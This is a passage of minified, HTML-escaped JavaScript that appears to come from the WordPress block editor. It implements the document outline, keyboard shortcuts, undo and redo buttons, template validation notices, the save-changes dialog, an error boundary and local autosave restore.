Jf=s(E(),1),Rh=s(O(),1),pC=s(D(),1),hC=s(Wy(),1),mC=s($(),1),FW=s(W(),1),To=s(A(),1);var Qf=s(C(),1),Ywe=({children:e,isValid:t,isDisabled:r,level:o,href:n,onSelect:i})=&gt;{function a(l){if(r){l.preventDefault();return}i()}return(0,Qf.jsx)(&quot;li&quot;,{className:re(&quot;document-outline__item&quot;,`is-${o.toLowerCase()}`,{&quot;is-invalid&quot;:!t,&quot;is-disabled&quot;:r}),children:(0,Qf.jsxs)(&quot;a&quot;,{href:n,className:&quot;document-outline__button&quot;,&quot;aria-disabled&quot;:r,onClick:a,children:[(0,Qf.jsx)(&quot;span&quot;,{className:&quot;document-outline__emdash&quot;,&quot;aria-hidden&quot;:&quot;true&quot;}),(0,Qf.jsx)(&quot;strong&quot;,{className:&quot;document-outline__level&quot;,children:o}),(0,Qf.jsx)(&quot;span&quot;,{className:&quot;document-outline__item-content&quot;,children:e})]})})},h3=Ywe;var Ct=s(C(),1),qwe=(0,Ct.jsx)(&quot;em&quot;,{children:(0,Jf.__)(&quot;(Empty heading)&quot;)}),Zwe=[(0,Ct.jsx)(&quot;br&quot;,{},&quot;incorrect-break&quot;),(0,Ct.jsx)(&quot;em&quot;,{children:(0,Jf.__)(&quot;(Incorrect heading level)&quot;)},&quot;incorrect-message&quot;)],Kwe=[(0,Ct.jsx)(&quot;br&quot;,{},&quot;incorrect-break-h1&quot;),(0,Ct.jsx)(&quot;em&quot;,{children:(0,Jf.__)(&quot;(Your theme may already use a H1 for the post title)&quot;)},&quot;incorrect-message-h1&quot;)],Xwe=[(0,Ct.jsx)(&quot;br&quot;,{},&quot;incorrect-break-multiple-h1&quot;),(0,Ct.jsx)(&quot;em&quot;,{children:(0,Jf.__)(&quot;(Multiple H1 headings are not recommended)&quot;)},&quot;incorrect-message-multiple-h1&quot;)];function Qwe(){return(0,Ct.jsxs)(To.SVG,{width:&quot;138&quot;,height:&quot;148&quot;,viewBox:&quot;0 0 138 148&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,Ct.jsx)(To.Rect,{width:&quot;138&quot;,height:&quot;148&quot;,rx:&quot;4&quot;,fill:&quot;#F0F6FC&quot;}),(0,Ct.jsx)(To.Line,{x1:&quot;44&quot;,y1:&quot;28&quot;,x2:&quot;24&quot;,y2:&quot;28&quot;,stroke:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Rect,{x:&quot;48&quot;,y:&quot;16&quot;,width:&quot;27&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Path,{d:&quot;M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z&quot;,fill:&quot;black&quot;}),(0,Ct.jsx)(To.Line,{x1:&quot;55&quot;,y1:&quot;59&quot;,x2:&quot;24&quot;,y2:&quot;59&quot;,stroke:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Rect,{x:&quot;59&quot;,y:&quot;47&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Path,{d:&quot;M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z&quot;,fill:&quot;black&quot;}),(0,Ct.jsx)(To.Line,{x1:&quot;80&quot;,y1:&quot;90&quot;,x2:&quot;24&quot;,y2:&quot;90&quot;,stroke:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Rect,{x:&quot;84&quot;,y:&quot;78&quot;,width:&quot;30&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#F0B849&quot;}),(0,Ct.jsx)(To.Path,{d:&quot;M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z&quot;,fill:&quot;black&quot;}),(0,Ct.jsx)(To.Line,{x1:&quot;66&quot;,y1:&quot;121&quot;,x2:&quot;24&quot;,y2:&quot;121&quot;,stroke:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Rect,{x:&quot;70&quot;,y:&quot;109&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,Ct.jsx)(To.Path,{d:&quot;M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 125.009 89.5398 125.119 88.8864 125.119Z&quot;,fill:&quot;black&quot;})]})}var Jwe=(e=[])=&gt;e.filter(t=&gt;t.name===&quot;core/heading&quot;).map(t=&gt;({...t,level:t.attributes.level,isEmpty:$we(t)})),$we=e=&gt;!e.attributes.content||e.attributes.content.trim().length===0;function Ah({onSelect:e,hasOutlineItemsDisabled:t}){let{selectBlock:r}=(0,Rh.useDispatch)(mC.store),{title:o,isTitleSupported:n}=(0,Rh.useSelect)(g=&gt;{let{getEditedPostAttribute:v}=g(w),{getPostType:y}=g(FW.store),b=y(v(&quot;type&quot;));return{title:v(&quot;title&quot;),isTitleSupported:b?.supports?.title??!1}}),i=(0,Rh.useSelect)(g=&gt;{let{getClientIdsWithDescendants:v,getBlock:y}=g(mC.store);return v().map(_=&gt;y(_))}),a=(0,Rh.useSelect)(g=&gt;{if(g(w).getRenderingMode()===&quot;post-only&quot;)return;let{getBlocksByName:v,getClientIdsOfDescendants:y}=g(mC.store),[b]=v(&quot;core/post-content&quot;);if(b)return y(b)},[]),l=(0,pC.useRef)(1),c=(0,pC.useMemo)(()=&gt;Jwe(i),[i]);if(c.length&lt;1)return(0,Ct.jsxs)(&quot;div&quot;,{className:&quot;editor-document-outline has-no-headings&quot;,children:[(0,Ct.jsx)(Qwe,{}),(0,Ct.jsx)(&quot;p&quot;,{children:(0,Jf.__)(&quot;Navigate the structure of your document and address issues like empty or incorrect heading levels.&quot;)})]});let u=document.querySelector(&quot;.editor-post-title__input&quot;),d=n&amp;&amp;o&amp;&amp;u,m=c.reduce((g,v)=&gt;({...g,[v.level]:(g[v.level]||0)+1}),{})[1]&gt;1;function h(g){return Array.isArray(a)?a.includes(g):!0}return(0,Ct.jsx)(&quot;div&quot;,{className:&quot;document-outline&quot;,children:(0,Ct.jsxs)(&quot;ul&quot;,{children:[d&amp;&amp;(0,Ct.jsx)(h3,{level:(0,Jf.__)(&quot;Title&quot;),isValid:!0,onSelect:e,href:`#${u.id}`,isDisabled:t,children:o}),c.map(g=&gt;{let v=g.level&gt;l.current+1,y=!g.isEmpty&amp;&amp;!v&amp;&amp;!!g.level&amp;&amp;(g.level!==1||!m&amp;&amp;!d);return l.current=g.level,(0,Ct.jsxs)(h3,{level:`H${g.level}`,isValid:y,isDisabled:t||!h(g.clientId),href:`#block-${g.clientId}`,onSelect:()=&gt;{r(g.clientId),e?.()},children:[g.isEmpty?qwe:(0,hC.getTextContent)((0,hC.create)({html:g.attributes.content})),v&amp;&amp;Zwe,g.level===1&amp;&amp;m&amp;&amp;Xwe,d&amp;&amp;g.level===1&amp;&amp;!m&amp;&amp;Kwe]},g.clientId)})]})})}var DW=s(O(),1),BW=s($(),1);function MW({children:e}){return(0,DW.useSelect)(r=&gt;{let{getGlobalBlockCount:o}=r(BW.store);return o(&quot;core/heading&quot;)&gt;0})?e:null}var LW=s(D(),1),VW=s(O(),1),hs=s(E(),1),jW=s($(),1),zW=s(Oi(),1),UW=s(yo(),1),HW=s(C(),1);function exe(){let{registerShortcut:e}=(0,VW.useDispatch)(zW.store);return(0,LW.useEffect)(()=&gt;{e({name:&quot;core/editor/toggle-mode&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Switch between visual editor and code editor.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;m&quot;}}),e({name:&quot;core/editor/save&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Save your changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;s&quot;}}),e({name:&quot;core/editor/undo&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Undo your last changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;z&quot;}}),e({name:&quot;core/editor/redo&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Redo your last undo.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;z&quot;},aliases:(0,UW.isAppleOS)()?[]:[{modifier:&quot;primary&quot;,character:&quot;y&quot;}]}),e({name:&quot;core/editor/toggle-list-view&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Show or hide the List View.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;o&quot;}}),e({name:&quot;core/editor/toggle-distraction-free&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Enter or exit distraction free mode.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;\\&quot;}}),e({name:&quot;core/editor/toggle-sidebar&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Show or hide the Settings panel.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;,&quot;}}),e({name:&quot;core/editor/keyboard-shortcuts&quot;,category:&quot;main&quot;,description:(0,hs.__)(&quot;Display these keyboard shortcuts.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;h&quot;}}),e({name:&quot;core/editor/new-note&quot;,category:&quot;block&quot;,description:(0,hs.__)(&quot;Add a new note.&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;m&quot;}}),e({name:&quot;core/editor/next-region&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Navigate to the next part of the editor.&quot;),keyCombination:{modifier:&quot;ctrl&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;n&quot;}]}),e({name:&quot;core/editor/previous-region&quot;,category:&quot;global&quot;,description:(0,hs.__)(&quot;Navigate to the previous part of the editor.&quot;),keyCombination:{modifier:&quot;ctrlShift&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;p&quot;},{modifier:&quot;ctrlShift&quot;,character:&quot;~&quot;}]})},[e]),(0,HW.jsx)(jW.BlockEditorKeyboardShortcuts.Register,{})}var GW=exe;var gC=s(E(),1),WW=s(A(),1),vC=s(O(),1),qb=s(yo(),1);var YW=s(D(),1);var qW=s(C(),1);function txe(e,t){let r=(0,qb.isAppleOS)()?qb.displayShortcut.primaryShift(&quot;z&quot;):qb.displayShortcut.primary(&quot;y&quot;),o=(0,vC.useSelect)(i=&gt;i(w).hasEditorRedo(),[]),{redo:n}=(0,vC.useDispatch)(w);return(0,qW.jsx)(WW.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,gC.isRTL)()?Yv:Vv,label:(0,gC.__)(&quot;Redo&quot;),shortcut:r,&quot;aria-disabled&quot;:!o,onClick:o?n:void 0,className:&quot;editor-history__redo&quot;})}var yC=(0,YW.forwardRef)(txe);var bC=s(E(),1),ZW=s(A(),1),SC=s(O(),1),KW=s(yo(),1);var XW=s(D(),1);var QW=s(C(),1);function rxe(e,t){let r=(0,SC.useSelect)(n=&gt;n(w).hasEditorUndo(),[]),{undo:o}=(0,SC.useDispatch)(w);return(0,QW.jsx)(ZW.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,bC.isRTL)()?Vv:Yv,label:(0,bC.__)(&quot;Undo&quot;),shortcut:KW.displayShortcut.primary(&quot;z&quot;),&quot;aria-disabled&quot;:!r,onClick:r?o:void 0,className:&quot;editor-history__undo&quot;})}var _C=(0,XW.forwardRef)(rxe);var $W=s(Yi(),1),eY=s(ct(),1);var wC=s(A(),1),Oh=s(E(),1),xC=s(O(),1),JW=s(D(),1),g3=s($(),1),$f=s(C(),1);function CC(){let[e,t]=(0,JW.useState)(!1),r=(0,xC.useSelect)(i=&gt;i(g3.store).isValidTemplate(),[]),{setTemplateValidity:o,synchronizeTemplate:n}=(0,xC.useDispatch)(g3.store);return r?null:(0,$f.jsxs)($f.Fragment,{children:[(0,$f.jsx)(wC.Notice,{className:&quot;editor-template-validation-notice&quot;,isDismissible:!1,status:&quot;warning&quot;,actions:[{label:(0,Oh.__)(&quot;Keep it as is&quot;),onClick:()=&gt;o(!0)},{label:(0,Oh.__)(&quot;Reset the template&quot;),onClick:()=&gt;t(!0)}],children:(0,Oh.__)(&quot;The content of your post doesn\u2019t match the template assigned to your post type.&quot;)}),(0,$f.jsx)(wC.__experimentalConfirmDialog,{isOpen:e,confirmButtonText:(0,Oh.__)(&quot;Reset&quot;),onConfirm:()=&gt;{t(!1),n()},onCancel:()=&gt;t(!1),size:&quot;medium&quot;,children:(0,Oh.__)(&quot;Resetting the template may result in loss of content, do you want to continue?&quot;)})]})}var v3=s(C(),1);function oxe(){return(0,$W.default)(&quot;wp.editor.EditorNotices&quot;,{since:&quot;7.0&quot;,version:&quot;7.2&quot;,alternative:&quot;wp.notices.InlineNotices&quot;}),(0,v3.jsx)(eY.InlineNotices,{pinnedNoticesClassName:&quot;components-editor-notices__pinned&quot;,dismissibleNoticesClassName:&quot;components-editor-notices__dismissible&quot;,children:(0,v3.jsx)(CC,{})})}var tY=oxe;var rY=s(Yi(),1),oY=s(ct(),1),nY=s(C(),1);function iY(){return(0,rY.default)(&quot;wp.editor.EditorSnackbars&quot;,{since:&quot;7.0&quot;,version:&quot;7.2&quot;,alternative:&quot;wp.notices.SnackbarNotices&quot;}),(0,nY.jsx)(oY.SnackbarNotices,{className:&quot;components-editor-notices__snackbar&quot;})}var pc=s(A(),1),mc=s(E(),1),Ih=s(D(),1),Zb=s(he(),1),fY=s(O(),1);var em=s(E(),1),S3=s(O(),1),PC=s(A(),1),_3=s(W(),1);var TC=s(A(),1),y3=s(E(),1),sY=s(O(),1),b3=s(W(),1),aY=s(ft(),1);var dc=s(C(),1);function lY({record:e,checked:t,onChange:r}){let{name:o,kind:n,title:i,key:a}=e,{entityRecordTitle:l,hasPostMetaChanges:c}=(0,sY.useSelect)(u=&gt;{if(n!==&quot;postType&quot;||o!==&quot;wp_template&quot;)return{entityRecordTitle:i,hasPostMetaChanges:N(u(w)).hasPostMetaChanges(o,a)};let d=u(b3.store).getEditedEntityRecord(n,o,a),{default_template_types:f=[]}=u(b3.store).getCurrentTheme()??{};return{entityRecordTitle:Zi({template:d,templateTypes:f}).title,hasPostMetaChanges:N(u(w)).hasPostMetaChanges(o,a)}},[o,n,i,a]);return(0,dc.jsxs)(dc.Fragment,{children:[(0,dc.jsx)(TC.PanelRow,{children:(0,dc.jsx)(TC.CheckboxControl,{label:(0,aY.decodeEntities)(l)||(0,y3.__)(&quot;Untitled&quot;),checked:t,onChange:r,className:&quot;entities-saved-states__change-control&quot;})}),c&amp;&amp;(0,dc.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:(0,dc.jsx)(&quot;li&quot;,{children:(0,y3.__)(&quot;Post Meta.&quot;)})})]})}var fc=s(C(),1);function nxe(e,t){switch(e){case&quot;site&quot;:return t===1?(0,em.__)(&quot;This change will affect your whole site.&quot;):(0,em.__)(&quot;These changes will affect your whole site.&quot;);case&quot;wp_template&quot;:return(0,em.__)(&quot;This change will affect other parts of your site that use this template.&quot;);case&quot;page&quot;:case&quot;post&quot;:return(0,em.__)(&quot;The following has been modified.&quot;)}}function ixe({record:e}){let{editedRecord:t,savedRecord:r}=(0,S3.useSelect)(n=&gt;{let{getEditedEntityRecord:i,getEntityRecord:a}=n(_3.store);return{editedRecord:i(e.kind,e.name,e.key),savedRecord:a(e.kind,e.name,e.key)}},[e.kind,e.name,e.key]),o=My(t,r,{maxResults:10});return o.length?(0,fc.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:o.map(n=&gt;(0,fc.jsx)(&quot;li&quot;,{children:n},n))}):null}function sxe({record:e,count:t}){if(e?.name===&quot;globalStyles&quot;)return null;let r=nxe(e?.name,t);return r?(0,fc.jsx)(PC.PanelRow,{children:r}):null}function cY({list:e,unselectedEntities:t,setUnselectedEntities:r}){let o=e.length,n=e[0],a=(0,S3.useSelect)(l=&gt;l(_3.store).getEntityConfig(n.kind,n.name),[n.kind,n.name]).label;return n?.name===&quot;wp_template_part&quot;&amp;&amp;(a=o===1?(0,em.__)(&quot;Template Part&quot;):(0,em.__)(&quot;Template Parts&quot;)),(0,fc.jsxs)(PC.PanelBody,{title:a,initialOpen:!0,className:&quot;entities-saved-states__panel-body&quot;,children:[(0,fc.jsx)(sxe,{record:n,count:o}),e.map(l=&gt;(0,fc.jsx)(lY,{record:l,checked:!t.some(c=&gt;c.kind===l.kind&amp;&amp;c.name===l.name&amp;&amp;c.key===l.key&amp;&amp;c.property===l.property),onChange:c=&gt;r(l,c)},l.key||l.property)),n?.name===&quot;globalStyles&quot;&amp;&amp;(0,fc.jsx)(ixe,{record:n})]})}var uY=s(O(),1),dY=s(W(),1),kC=s(D(),1),EC=()=&gt;{let{editedEntities:e,siteEdits:t,siteEntityConfig:r}=(0,uY.useSelect)(c=&gt;{let{__experimentalGetDirtyEntityRecords:u,getEntityRecordEdits:d,getEntityConfig:f}=c(dY.store);return{editedEntities:u(),siteEdits:d(&quot;root&quot;,&quot;site&quot;),siteEntityConfig:f(&quot;root&quot;,&quot;site&quot;)}},[]),o=(0,kC.useMemo)(()=&gt;{let c=e.filter(f=&gt;!(f.kind===&quot;root&quot;&amp;&amp;f.name===&quot;site&quot;)),u=r?.meta?.labels??{},d=[];for(let f in t)d.push({kind:&quot;root&quot;,name:&quot;site&quot;,title:u[f]||f,property:f});return[...c,...d]},[e,t,r]),[n,i]=(0,kC.useState)([]),a=({kind:c,name:u,key:d,property:f},m)=&gt;{i(m?n.filter(h=&gt;h.kind!==c||h.name!==u||h.key!==d||h.property!==f):[...n,{kind:c,name:u,key:d,property:f}])},l=o.length-n.length&gt;0;return{dirtyEntityRecords:o,isDirty:l,setUnselectedEntities:a,unselectedEntities:n}};var Po=s(C(),1);function axe(e){return e}function RC({close:e,renderDialog:t,variant:r}){let o=EC();return(0,Po.jsx)(Kb,{close:e,renderDialog:t,variant:r,...o})}function Kb({additionalPrompt:e=void 0,close:t,onSave:r=axe,saveEnabled:o=void 0,saveLabel:n=(0,mc.__)(&quot;Save&quot;),renderDialog:i,dirtyEntityRecords:a,isDirty:l,setUnselectedEntities:c,unselectedEntities:u,variant:d=&quot;default&quot;,successNoticeContent:f}){let m=(0,Ih.useRef)(),{saveDirtyEntities:h}=N((0,fY.useDispatch)(w)),g=a.reduce((I,U)=&gt;{let{name:G}=U;return I[G]||(I[G]=[]),I[G].push(U),I},{}),{site:v,wp_template:y,wp_template_part:b,..._}=g,S=[v,y,b,...Object.values(_)].filter(Array.isArray),x=o??l,T=(0,Ih.useCallback)(()=&gt;t(),[t]),[R,F]=(0,Zb.__experimentalUseDialog)({onClose:()=&gt;T()}),B=(0,Zb.useInstanceId)(Kb,&quot;entities-saved-states__panel-label&quot;),z=(0,Zb.useInstanceId)(Kb,&quot;entities-saved-states__panel-description&quot;),L=a.length?(0,mc.__)(&quot;Select the items you want to save.&quot;):void 0,M=d===&quot;inline&quot;,k=(0,Po.jsxs)(Po.Fragment,{children:[(0,Po.jsx)(pc.FlexItem,{isBlock:!M,as:pc.Button,variant:M?&quot;tertiary&quot;:&quot;secondary&quot;,size:M?void 0:&quot;compact&quot;,onClick:T,children:(0,mc.__)(&quot;Cancel&quot;)}),(0,Po.jsx)(pc.FlexItem,{isBlock:!M,as:pc.Button,ref:m,variant:&quot;primary&quot;,size:M?void 0:&quot;compact&quot;,disabled:!x,accessibleWhenDisabled:!0,onClick:()=&gt;h({onSave:r,dirtyEntityRecords:a,entitiesToSkip:u,close:t,successNoticeContent:f}),className:&quot;editor-entities-saved-states__save-button&quot;,children:n})]});return(0,Po.jsxs)(&quot;div&quot;,{ref:i?R:void 0,...i&amp;&amp;F,className:re(&quot;entities-saved-states__panel&quot;,{&quot;is-inline&quot;:M}),role:i?&quot;dialog&quot;:void 0,&quot;aria-labelledby&quot;:i?B:void 0,&quot;aria-describedby&quot;:i?z:void 0,children:[!M&amp;&amp;(0,Po.jsx)(pc.Flex,{className:&quot;entities-saved-states__panel-header&quot;,gap:2,children:k}),(0,Po.jsxs)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt&quot;,children:[(0,Po.jsx)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt--header-wrapper&quot;,children:(0,Po.jsx)(&quot;strong&quot;,{id:i?B:void 0,className:&quot;entities-saved-states__text-prompt--header&quot;,children:(0,mc.__)(&quot;Are you ready to save?&quot;)})}),(0,Po.jsxs)(&quot;div&quot;,{id:i?z:void 0,children:[e,(0,Po.jsx)(&quot;p&quot;,{className:&quot;entities-saved-states__text-prompt--changes-count&quot;,children:l?(0,Ih.createInterpolateElement)((0,mc.sprintf)((0,mc._n)(&quot;There is &lt;strong&gt;%d site change&lt;/strong&gt; waiting to be saved.&quot;,&quot;There are &lt;strong&gt;%d site changes&lt;/strong&gt; waiting to be saved.&quot;,a.length),a.length),{strong:(0,Po.jsx)(&quot;strong&quot;,{})}):L})]})]}),S.map(I=&gt;(0,Po.jsx)(cY,{list:I,unselectedEntities:u,setUnselectedEntities:c},I[0].name)),M&amp;&amp;(0,Po.jsx)(pc.Flex,{direction:&quot;row&quot;,justify:&quot;flex-end&quot;,className:&quot;entities-saved-states__panel-footer&quot;,children:k})]})}var pY=s(D(),1),AC=s(E(),1),tm=s(A(),1),hY=s(O(),1),gY=s(he(),1),vY=s(mo(),1);var Qu=s(C(),1);function lxe(){try{return(0,hY.select)(w).getEditedPostContent()}catch{}}function mY({text:e,children:t,variant:r=&quot;secondary&quot;}){let o=(0,gY.useCopyToClipboard)(e);return(0,Qu.jsx)(tm.Button,{__next40pxDefaultSize:!0,variant:r,ref:o,children:t})}var cxe=class extends pY.Component{constructor(){super(...arguments),this.state={error:null}}componentDidCatch(e){(0,vY.doAction)(&quot;editor.ErrorBoundary.errorLogged&quot;,e)}static getDerivedStateFromError(e){return{error:e}}render(){let{error:e}=this.state,{canCopyContent:t=!1}=this.props;return e?(0,Qu.jsxs)(tm.__experimentalHStack,{className:&quot;editor-error-boundary&quot;,alignment:&quot;baseline&quot;,spacing:4,justify:&quot;space-between&quot;,expanded:!1,wrap:!0,children:[(0,Qu.jsx)(tm.__experimentalText,{as:&quot;p&quot;,children:(0,AC.__)(&quot;The editor has encountered an unexpected error.&quot;)}),(0,Qu.jsxs)(tm.__experimentalHStack,{expanded:!1,children:[t&amp;&amp;(0,Qu.jsx)(mY,{text:lxe,children:(0,AC.__)(&quot;Copy contents&quot;)}),(0,Qu.jsx)(mY,{variant:&quot;primary&quot;,text:e?.stack,children:(0,AC.__)(&quot;Copy error&quot;)})]})]}):this.props.children}},yY=cxe;var hc=s(D(),1),Qb=s(he(),1),gc=s(O(),1),w3=s(E(),1),bY=s(Xe(),1),SY=s(ct(),1);var _Y=s(C(),1),uxe=window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame,Xb,dxe=()=&gt;{if(Xb!==void 0)return Xb;try{window.sessionStorage.setItem(&quot;__wpEditorTestSessionStorage&quot;,&quot;&quot;),window.sessionStorage.removeItem(&quot;__wpEditorTestSessionStorage&quot;),Xb=!0}catch{Xb=!1}return Xb};function fxe(){let{postId:e,isEditedPostNew:t,hasRemoteAutosave:r}=(0,gc.useSelect)(c=&gt;({postId:c(w).getCurrentPostId(),isEditedPostNew:c(w).isEditedPostNew(),hasRemoteAutosave:!!c(w).getEditorSettings().autosave}),[]),{getEditedPostAttribute:o}=(0,gc.useSelect)(w),{createWarningNotice:n,removeNotice:i}=(0,gc.useDispatch)(SY.store),{editPost:a,resetEditorBlocks:l}=(0,gc.useDispatch)(w);(0,hc.useEffect)(()=&gt;{let c=pD(e,t);if(!c)return;try{c=JSON.parse(c)}catch{return}let{post_title:u,content:d,excerpt:f}=c,m={title:u,content:d,excerpt:f};if(!Object.keys(m).some(v=&gt;m[v]!==o(v))){$S(e,t);return}if(r)return;let h=&quot;wpEditorAutosaveRestore&quot;;n((0,w3.__)(&quot;The backup of this post in your browser is different from the version below.&quot;),{id:h,actions:[{label:(0,w3.__)(&quot;Restore the backup&quot;),onClick(){let{content:g,...v}=m;a(v),l((0,bY.parse)(m.content)),i(h)}}]})},[t,e])}function mxe(){let{postId:e,isEditedPostNew:t,isDirty:r,isAutosaving:o,didError:n}=(0,gc.useSelect)(u=&gt;({postId:u(w).getCurrentPostId(),isEditedPostNew:u(w).isEditedPostNew(),isDirty:u(w).isEditedPostDirty(),isAutosaving:u(w).isAutosavingPost(),didError:u(w).didPostSaveRequestFail()}),[]),i=(0,hc.useRef)(r),a=(0,hc.useRef)(o);(0,hc.useEffect)(()=&gt;{!n&amp;&amp;(a.current&amp;&amp;!o||i.current&amp;&amp;!r)&amp;&amp;$S(e,t),i.current=r,a.current=o},[r,o,n]);let l=(0,Qb.usePrevious)(t),c=(0,Qb.usePrevious)(e);(0,hc.useEffect)(()=&gt;{c===e&amp;&amp;l&amp;&amp;!t&amp;&amp;$S(e,!0)},[t,e])}function pxe(){let{autosave:e}=(0,gc.useDispatch)(w),t=(0,hc.useCallback)(()=&gt;{uxe(()=&gt;e({local:!0}))},[]);fxe(),mxe();let r=(0,gc.useSelect)(o=&gt;o(w).getEditorSettings().localAutosaveInterval,[]);return(0,_Y.jsx)(Xx,{interval:r,autosave:t})}var wY=(0,Qb.ifCondition)(dxe)(pxe);var xY=s(O(),1),CY=s(W(),1);function hxe({children:e}){return(0,xY.useSelect)(r=&gt;{let{getEditedPostAttribute:o}=r(w),{getPostType:n}=r(CY.store);return!!n(o(&quot;type&quot;))?.supports?.[&quot;page-attributes&quot;]},[])?e:null}var Nh=hxe;var x3=s(E(),1),Dh=s(A(),1),OC=s(O(),1),kY=s(D(),1);var TY=s(O(),1),PY=s(W(),1);function gxe(e={},t){if(e[t]!==void 0)return!!e[t];let[r,o]=t.split(&quot;.&quot;),[n]=Array.isArray(e[r])?e[r]:[];return Array.isArray(n)?n.includes(o):!!n?.[o]}function vxe({children:e,supportKeys:t}){let r=(0,TY.useSelect)(n=&gt;{let{getEditedPostAttribute:i}=n(w),{getPostType:a}=n(PY.store);return a(i(&quot;type&quot;))},[]),o=!!r;return 